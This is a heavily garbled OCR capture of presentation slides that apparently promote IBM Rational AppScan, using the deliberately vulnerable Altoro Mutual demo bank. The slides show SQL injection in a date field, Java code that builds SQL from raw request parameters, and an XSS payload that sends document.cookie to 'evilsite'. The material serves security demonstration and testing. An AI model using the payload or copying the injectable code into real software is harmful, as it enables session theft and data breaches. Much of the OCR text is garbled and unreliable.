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Clinks @] Z0 Shidigg eRMy @ NYT @ start g AC @ EC {F emp L SFE 38 wallet

v 4hr [ & Altoro Mutual: Recent Transactions

]
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AltoroMutual »

Sign Off | Contact Us | Feedback | Searchl

5| 270

- MY ACCOUNT PERSOMAL | SMALL BUSINESS INSIDE ALTORD MUTUWAL
I WANT TOD ... -
o ansactions
® View Recent Transactions
® Transfer Funds .
_ [01/01/2006 | Before | |  [(submit ]
& Search News Articles
® Customize Site Language - -
AccountId Crascripii Amount
20 1001160140 Reaent 1100
21 1001160140 Dreposit 1050.88
22 1001150140 Creposit 1050.88
23 1001160140 Car Payment 389.12
24 1001160140 Dreposit 1050.88
27 1001160140 Car Payment 389.12
&8 1001160141 Crepasit arr.e
T4 1001160141 Dreposit 878.9
v 1001160141 Dreposit g881.1
1

Erivacy Policy | Security Statement | & 2006 Altoro

Mutual, Inc.

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
wulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided
"as is" without warranty of any kind, =ither express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms of Use, please
go to http:/fvawew.watchfire.comystatements/terms.aspx.

Copyright & 2008, Watchfire Corporation, &ll rights reservad.
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® View Account Summary
= View Recent Transactions
* Transfer Funds . .
i After [006 unien select userid| Before | | [ Submit ]
® Search News Articles
* Customize Site Language S -
TransactionID AccountId Drescription Amount
20 1001160140 Rent 1100
21 1001160140 Crepasit 1050.88
22 1001160140 Crepasit 1050.88
23 1001160140 Car Payment 389.12
24 1001160140 Crepasit 1050.88
27 1001160140 Car Payment 389.12
a8 1001160141 Dreposit arr.e
T4 1001160141 Dreposit ar78.9
v 1001160141 Dreposit g81.1
1
Privacy Policy | Security Statement | S 2006 Altorc Mutual, Inc.
B e e e e e -
i The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application E
! wulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided |
E "as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this wabsite. For additional Terms of Use, please !
v go to http /S v watchfire.com/statements/terms.aspse. E
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E Copyright & 2006, Watchfire Corporation, All rights resaerved. ! —
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265 100216 150000
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Erivacy Policy | Security Statement | & 2006 Altoro Mutual, Inc.
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i 7)1 Cross-site Scripting (XSS)

Sign Off | Contact Us | Feedbac

AltoroMutual » E

B MY ACCOUNT PERSOMNAL SMALL BUSTNESS INSIDE ALTORD MUTUAL

EBERSOMNAL

Deposit Product Search Results

Checking
Loan Products

Cards

Investments B < FRITILIESR )

Insurance

No results were found for the query:

® Other Services

SMALL ELISINESS
# [Deposit Producks

Lending Services
Cards

Insurance _

Eatirement

Other Services

INSIDE ALTORO MUTUAL

® About s
Contact Us

Locations

Investor Relations

Press Room lI
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i 7. Cross-site Scripting (XSS)

Sign Off | Contact Us | Feedback | Se

AltoroMutual »

arch I =E=iRITHIEFR </B=

B MY ACCOUNT

PERSONAL

SMALL BUSINESS

INSIDE ALTORD MUTUAL

EBERSOMNAL

Ceposit Product

Checking
Loan Products

Cards

Investments &
Insurance

® Other Services

SMALL BELUSINESS
# [Deposit Products

Lending Services
Cards
Insurance

Eatirement

Other Services

INSIDE ALTORO MUTUAL

® About Us
Contact Us

Locations

Investor Relations

Eress Room

C

Search Results

No results were found for the query:
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# b. Cross-site Scripting (XSS)
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<script>document.write('<img src=http://evilsite/'"+document.cookie);</script>
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Sign In | Contact Us | Feedback | Segfch |<script=document.writ
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B ONLINE BANKING

LOGIM

PERSOMNAL

SMALL BUSTMESS

INSIDE ALTORD MUTUAL

EERSOMAL

Ceposit Product

Checking
Loan Products

Cards
Investments &
Insurance

Other Services

SMALL BUSIMNESS

Ceposit Praducts

Lending Services

Cards

Insurance

Search Results

i)

Mo results were found for the query:
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Volumes of
¢ CELAETHPRERANIEAPRIPANERE S AFE R B applications
Bt A2 ch®d >0 JORET] '
; continue to be

deployed that
SV el are riddled with
b ? security flaws...
?’ ;
Glt;balization and Globally
Available Resources

...and are non
compliant with
industry
regulations

Access to streams of
information in the Realtime

Billions of mobile devices accessing the Web New Forms of Collaboration
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Broadcast Yourself ™ Home Videos Channels

|app|i|::ati|:|n hacking | |‘-..-'ide|:.5 [1][ Searcl

“application hackKing™ video results 1 - 20 of about 1,490

Videos Channels Playlists Sort by: Uploaded: Type:
_ Y Relevance™ Anytime™ A
Hacking Internet EEIFIHiFIQ Applications Added:& months ago
Scurce: hitp/Avideo hitk.org/2005.htmil The general public f:cm:pifﬂr_':'q
) ; - . P
sentiment is thatthe banks, having always bheen the guardians ... VIS W S, S
{more) e e e i
o740
— | How 1o hack peis Tacebook application #Added:1 year ago
I_ﬁ: o Click more From: wimeupto1 00
—_ http:drapidshare. comMfiles/47S68650/hackpetsfinal.wimy Srignal Wiew =24, 283
-+ video, (much clearer and socunds normal) Easy ... {mors) e e e e
i = - 01:48
How to download Hacking Application Added:2 months ago
This video is a part of htpfwawsw youtube . comiwatch?v=_ cl-zZkKxklo frc m "'_t_'j' bevidsos00
this video and hittpAasww youtub e combfwatch v ... (more] Vigw s 607
e e e e
02:42
How to Hack Facebook Added:1 ywear ago

From: tonyl=0%
Wiswws 428 275
e e il

04:28

Detailed Instructions Below: Tool needed: Internet Browser {1l used
firefox with google toolbkary Facebook Account Mood ... (more;

Hlayllst Hesults for application hacking

frienster. myspace._facebook hackers (15 VWVideos)

— B ) [ !_F_ﬂ Updated: 3 dawvs ago
—— e W — [ B E— Flay all From: kis=zha
| e e -'—=- videaos
Ea = L]
hacking friendster hacking friendster KMy=space Sccount
#PLAET A1 #PART 2 Hacking
HackKing SQlL Server #sdded:1 ywear ago
In this presentation at the Jacksonville SQL Server Users Group, frcm d_t_:E_'g_i"ﬂﬂ‘"‘
Baver White playsS the part of a developer protecting his ... (more) ViSw sS4, 917
o |
9:53
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Total Potential
Sgcurity Issues

B 18 X f 4 ) R 4% ]2k Static Greatest ~ L ET e
B f2a5 % BRI (4RI Analysis accuracy Analysis
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You've been waiting
for a break like this

Innovate2011 IBMBREEKXS



14
[[omf]
!! Il
II|II
£ g

a http://QySite/
J N\
// ahttp://mySOe/Iogin.jsp

¥ hitp://mySiteSfeedback jsp - / N
/’ahttp://mySitebansaction.jsp
ﬁhttp://mys@llogout.jsp

. k Innovate2011 IBMBREEKXS



e Stage 1: 4rfF — B & ¥ i ?%j:’;;élg’?"@ o
 Stage 2: & L R E 7 A AR
QQ
O O
‘:4.0 -
Ox/O
9 s
OwiO {@®)
PEl J 7O
© o ojc¥Ne
O
o
5()
S@HB

Innovate2011 BMBEEEKXRS




<:%tring beginDate = request.get arameter(“beginDate")i)
// ...

String beginDa

String endDate = r

request.getParameter (“beginDate") ;
est.getParameter (“endDate") ;

/] ...

String query = "SELECT * fro RANSACTIONS where " +'
“bDate='" + beginDate + "' " +

<:%tring query = "SELECT .." + beginDate :>

// ...
ResultSet rs

stmt . execu

<:%esult8et rs = stmt.executeQuery (query) ; :>
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& demo. scan - IBM Rational AppScan "g
AXE ®EE BAO MO IAD BHEE { )
@ K S OmiE- DEs FFhRe  RMGRE § Soabon® - CIMEEE 2 (RS & Kk
l O - [H5mE : Bk EX3 |
ﬂ L £ SAmAEs 8 8 @RTME (71 @)
URLE - = @ WEMHSL EA @) =l
E:S BREAR ©8) = i ¥ Seripting (%)
= %3 hitp:#idemo testfire net? (88) ® 0§ FMBHBAER )
Al ® g BisEY ()
) commentaspx (4) ® Up EIAFESRINE (13)
2 defovltospx (1) @ @ EITERRE O
) disclaimerhtm (1) = g %ﬁg‘gim @Jm
feedback. 1) “ ES
g Mzh_yic:v i:ve(sManuhm = @ FEHFERIERID (1)
&) searchaspx (1) ® @ FIFVA) _VIEWSTATE 88 (3)
) wrvereroor aspx @ EI R ERSBRERASRNE )
&) subscribe aspx (7) ® @ BSA Microsoft ASP.NET REERTHEE ()
&) subscribe.swf ® @ ERARASR (15 Ll
) swvey_questions aspx = @D HIML SRMER SRS )
# ) sdmin (1) | ® @ *gaz@u VIEWSTATE ’?ﬁ 3 o
[ﬂQallom e AR TN N ML) B \ .
() bank (58) 41— T8> |2EE- |-
W) images (1)
B0 pr 0 mMEER [ BR)| © sEem| o ExEn|

it

REE 10 o
iR . # A, Scripting

PR - 88 > Wl o=
= % EEEIEFAE
> WASC BSOS F=8ITE - f&fs5 Scnpting
l ! e
L » BEZER: BRI (EE SR /ERT Cookie ' XTRERRETS TSR
T BRELZTLUIGESREEESTN UELUEEESHSSENTIES
) =~
C SPEOURL 1150115 | | FARAVEER, 1997919979 GeEEME O3 Y O Du
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D EEEYSQL iEA (2)

=l @ﬁﬁﬁé Scripting (%)
S5 http:/demo testfive netbankicustomize aspx (2)
4 hitp:#demo testfire net’bankAogin.aspx (1)
S http:/demo testfire netbankfransfer aspx (2)
4 http:#demo testfire netcomment.aspx (2)
= 4 hittp:#demo testfive net/search.aspx (1)

4 http:/idemo testfire net/subscribe aspx (1)
& RINERIBAE K (2)
Cm BixEE )
G HRIERESERAE (13
i EBIETEE (1
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& TEEthtERes (1)
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W EREY FERES T EE

# WASC X485 F=20%E - B8 Soripting

¥ CVE &E: N/A

W IR E e ELEREEFIEE{E= Cookie - HAJse R ETcEMNERS - EFETLEE

SR RS - D RLUBEERENE ST S

~ TiERE
FIEREhH &8 &P A RIEkE T

r BrHIHE
TS MES IBM Softare Group
ASElRIRE T ey e T R AR EUARE & -

~ S ENHEME Cross-Site Scripting

e CERT 5658 CA-2000-02
o [ Microsoft 30{9 = BIIEFERLS Scripting

FEPIRE (Qoszogs)]
o [ Microsoft 3019 = BAlE aspP MET $HEY

FS4ES Seripting
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@ =, Scripting

e EIPEIEE

—
Asp.Net
J2EE

PHP
« Benshm A EHE -

{4 v v -

EESRE TERERVAE - TLERPmRERHENERE  (B— 2L EERSEE I TERERE -
AP imieEFE - T=%F - EIBREMTLIERRE » Fl130 : 8 JavaScript -

FESRTHETEE wep RS SRHARSH AR ETRE TGS
[1] 4T

(2] RCEEIRAY (7R E% * PR HTTP EREBEER String)

3] TR

[4] tH AEE]

(5] HETE
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[7] Cookie I8
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HEFINTENS © SRS | bz
B mmmEREs A 5 Bk £ B0 Script AppScan (U F SR SEERED - ML TREETRERESE L Soript
— - o PREREEE SRR TEIET [BRGERE Scipt] A1RE - TE » INRE
=l @ B Scripting () BRcESSENRIR ¢ 1) REES [ Esh/ERE 85 > ikl —TF [BETrREed | 558
=l [ hitp:fidemo testfire ned Ty IERIR TR - SHER » L Soipt BR2 RS REEA ¢ ENE RN
g ;ﬂmﬂmﬂx BT - SEESETRATAEE (AEESE— TREE - HilE - DEEE ) -
2 e [E SIS ch BT Seript B - ! _
o [ o flemo festiire.aef g [FiEiRIE BIE P 2T Script BPERTEE dback | Saarchl
o
ﬁ http:#demo testfire ne
| hittpfidemo testfie nel £ H{‘[; =k RE ] SR e
| http:idermo testfire ned =5 A EIE @ i
I HTTP ERESE (1) . . o 2o
IR B ) . Slanln | Zarsatuz | Ssadaes | sear:
% SeaiEm () ﬁltnrol\ﬂutu_z_i-l_) y "J DEMO
o BSEEEEER @) —— L LT ot
@ HTML Eﬁﬁ%lﬁgé_ﬂj = OHLTIHE BEANEING LOGCIN Bl II'.IIHAf -‘\'I | T LD Bl Wil MELREL AR
@ FN0ERD __VIEWRTAT -
ST S e Sear 3
0 MEEd | wae| 0 S s o =
— = . Inm "-;:- . T3da — . =
I@ ATEsREaT | IERSE e s A R R
L — AL B HEETAIREE S EE
B AT E e P et
= POST hanklogin.aspx HTTI : iﬁn.
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Accept: * s
Accept-Language: en-Us B T
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i URL #8315 3 L2 RS FSTRE (REH)

% = [ZFZEM=E
[1/3] SQL ¥ A RGBT ¢ [e=ER =] B O
— = O EsEE
b BT - r=1 BIEAEAY : B3 =] [ {EREEE
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[ Script 248
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L §">8ystem. Data.OleDb.01 eDbEXception: Syntax emor in string in query
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[(CAalfala] PIPED Act

(* Tndustoy Standaed Report Template [CANADA] Freedom of Information snd Protection of Privacy fLct (FIFPA)
= [(CANADS] Management of Infoomaton Security Technologa (BAITE

[ETT] Evropean Divective 1995/40/EC
D — T
L [TAFAN] Japan's Personal Information Protection Aot — <—
WASL Threat Llsssification < %g]gaﬁ Pr-:uteitmn Pi:::lt Bill Na. 1950 and. Zenate Bill 1386
.. - - - [11:=] ornda A ssmblyr a. £ LA
NERC CIPC Electricity Sector Security Goidelines 175 Children Online Privacy Protection et (COPPA)
; - [1T3] DiZID 643 Awvadlabilitr Basic
International standand - L0 27002 ] DD B o o
International Standard - IS0 27001 < [U5] DCID 6/3 Availability Med inm
[1T5] DCID a3 Confidentialitr Fegs Protection Lewel 1
[1T5] DCID 63 Confidentiality Fegs Protection Lewel 2
[1T5] DCID 6% Confidentiality Fegs Protection Lewel 3
« OWASP Top 10 2010 [115] DCID 6/% Confidentiality Eegs Profection Lewel 4
/ %g EE%E EE ICanin:_len%'a]it.r Eegs Protection Lewel 5
° [11:=] nte gt Basic
SANS/CWE Top 25 08 DEID &2 Infoerity Hasi
[1T3] DiZID 643 Tate goritw Mediom
y lSO 27001 ! 27002 [1T5] DCID 6% Securing Advanced Technologor IR
° VlSA PAF)B [1T3] Electronic Funds and Transfer Act (EFTA) G
%g E@demlﬁﬂnénm&ﬁug}ﬂifﬁﬂt}r M zmt. Act (FISRAD
= W [T5:] Financ ErvICE S <<
¢ 7‘ "Jl '_l; Vi ”F'\‘} ﬁl ’g (PCI DSS) (73] Healthcare Services (HIPLL) <
(T3] NERC Cxwber security Standard =
 Basel Il 115] Privacy hot of 1974
. . Ed & Harbor
* U § % (SOX) (5] Sarbanes-Oxdey Aot (SOX) <
o _ VN [T5] The Securntes Act
. i @5] £ ﬁﬁFJ?iﬁ;% (GLBA) 5] Title 21 Code of Federal Regulations
P EFTA 7] DISA Appleation Sesuiity and Development Grade 7.2
° _+ [ L e ] prplication security evelopment ey,
FI ﬁ; % s ( ) [T5] Dol Instroction 2500 .2 - 1A Tnplementation

—\

b2 E Basm] 11
© BERFEEVIRIEE IR *‘(HIPAA)H?%ET Sipecie] Publivation 500.52

The Faxmment Caxd, Indvstor Data Security Standacd (PCI DEE) previous verson
The Faxmment Caxd, Industor Data Securityy Standacd (PCT DEED
Pa aint A pplication Data Securityr Standand

SAMNEMCIWNE Top 25 Most Dangernons Programming E

Innovate2011 BMBEZEXS




N
cu
N
(Es
by
>t
[j]
!!:u
g
€ )

2R AR T RE K

@ demo scan - IBM Rational AppScan I T =10 x|
SEE WEE BNO WO IAD HEO e - = | )
0@ H S O ue FFahEs R MEiE J Scn
8 OE e o G =
— " T BT |
URLEY ~ 3 Responss Status 403 - Forbadden
Y LT 3 Response Status 404 - Not Found C GTFENMEE | __J
= \‘d It W . bbb bl % Responss Status 40‘: HDI Found _
il = x| EMAIT
gl 1=i0)] BE B8
IR - 0408 -
& EEE o E
~ BAM FRgaashi
= 22:00 -
 TERERTWN I —
[ ERViRRS (58)
:; Laale SAZRMIELWT: [
g E;‘"-m: (1 - 35000000) 2 |
& ssword:
8 s AR
S - =
v {3 | Q. I EEE I S )] | compath gﬁmm. i - FZFERITAVSFINME R iR
EQ) I [ @ [[EML3r0950
Server: Vicroso#-1S/8.0 EREER - Ichemmx
X-Powered-By: ASP NET
Date: Tue. 0€ Jan 2003 072708 G = l
Connection: close
<htmb <head»><ttie>Erroratiie» <he ;l
<body»<h1>Directory Listing Denie ks Py
R nE® | [#=0 | ma@ | .
| EEADSER, 19979/19979 —— e (D11
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« Rational AppScan Malware Scanner i ' =10] x|
Ede Help

Malware Scanner analyzes all explored content and links for malicious indicators.
Note: only content and links already explored i this scan wll be analyzed.

\‘\ f’ |i:

Evaluating content of url hitp://demo testiire.net/search.aspx?txtSearch=1234

Evaluating content of url hitp://demo testfire_.net/default aspx?content=inside_contacthtm
Evaluating content of url hitp://demo.testfire.net/feedback aspx

Evaluating content of url hitp://demo.testiire.net/default aspx

Evaluating content of url hitp://demo.testfire_net/default aspx?content=personal htm
Evaluating content of url hitp://demo.testfire.net/subscribe. swi

Evaluating content of url hitp://demo testfire.net/default aspx?content=business.htm
Evaluating content of url hitp://demo testfire_net/default aspx?content=inside.htm

Evaluating content of url hitp://demo.testiire net/default aspx?content=personal_deposithtm
Evaluating content of url hitp://demo testfire.net/default aspx?content=personal_checking.htm
Evaluating content of url http://demo tesffire.net/default aspx?content=personal_loans.htm
Evaluating content of url hitp://demo.testiire.net/default aspx?content=personal_cards.htm
Evaluating content of url htip://demo testfire.net/default aspx?content=personal_investments.htm
Evaluating content of url hitp://demo testfire net/default aspx?content=personal_other.htm
Evaluating content of url hitp://demo.testfire.net/default aspx?content=business_deposit htm
Evaluating content of url htip://demo.testfire.net/default aspx?content=business_lending htm
Evaluating content of url http://demo.testfire net/bank/queryxpath.aspx

Evaluating content of url hitp://demo testiire.net/bank/customize.aspx

Evaluating content of url hitp://demo testfire.net/bank/apply.aspx

Evaluating content of url hitp://demo testfire.net/survey_questions.aspx

Evaluating content of url hitp://demo testiire.net/comment aspx

Evaluating content of url hitp://demo testfire_net/bank/transaction.aspx

Evaluating content of url http://demo.testire net/bank/transfer.aspx

Stop Scan request logged

Scan Complete
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SECURITY:

'REQUIREMENTS CODE BUILD QA PRE-PROD PRODUCTION.

AppScan Enterprise

AppScan Reporting Console AppScan onDemand & "

Security -
Requirements AppScan AppScan AppScan AppScan AppScan
Definition Source Build Tester Standard Standard
Security . . .
- : . Automate Security |Security / compliance
requirements Build security / Compliance 4 testing incorporated
defined before testing into the testing in the into testing &
__design & IDE Build Process remediation
K implementation N < workflows >
> P

Application Security Best Practices — Secure Engineering Framework

Dynamic Analysis/Blackbox —.

al
Static Analysis/Whitebox - o
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Dashboards and Metrics

. AppScan. Enterprise Edition

Jim (Analyst) | Help | Support | About | Log Out

Training Jobs & Reports | Administration

Jobs & Reports > Acme Hackme = Analysts

Analysts - Graphical

=1
=

£ e XM o

Folders o
| create... [[Edit || Delete -
=] Acme Hackme £l
El[:l Analysts
; [~ Frank
=1 Jim
=+ Developers

&0 Admin
1 Andrew
1 Chris

L. Jennifer
- Templates
B i
Recently Viewed o
L:@ Analysts

@ Applications

@ Security Issues (Investment Banking)

L@ Report Pack Summary (Investment Banl

@ Sarbanes-Oxdey Act (SOX) (Investment

@ Activity Log (Test Admin)

19| Report Pack Summary (Test Admin)
Personal Banking |

i Il

B

Last Updated: 9/11/2007 12:56:50 PM

Details Graphical

Report Pack: |AII Report Packs =| | Apply I

Issue Severity History

Issue Management History

All Report Packs All Report Packs
5000 I High 8000 I Fixed
O Medium [ In Progress
A Low 7000 B Reopened
4000 [ Information I Cpen
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0
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Issue Severity by Report Pack

2000

1000
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WASC Threat Classification

Total

0 2000 4000 G000 a000

All Report Packs

100040 12000
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Support
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Store

Main Website

Intranet

Mavias

[ Command Execution
I Information Disclosure
= Lagical Attacks

=1 Authentication
[ Autherization
I Client-side Attacks
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Scans sites —— ,
‘ Website
gl

- »
S Reports to site “
Anglyst protector A Request may or may not be blocked
with % depending on blocking rules
ppScan °
Sends to development IPS reports to .‘.
for remediation ite Protector %

Fusion correlates data

Developers fix issues

\4
HTTP_URLscan | Detected event
HTTP_‘Webplus @ nttack Failure (blocked by Proventia appliance)
L i U s s s e s il i b i L DI ARG e Criminal/

SoL_Injection I ntkack likely successful (vulnerable) Hacker/

Script Kiddie
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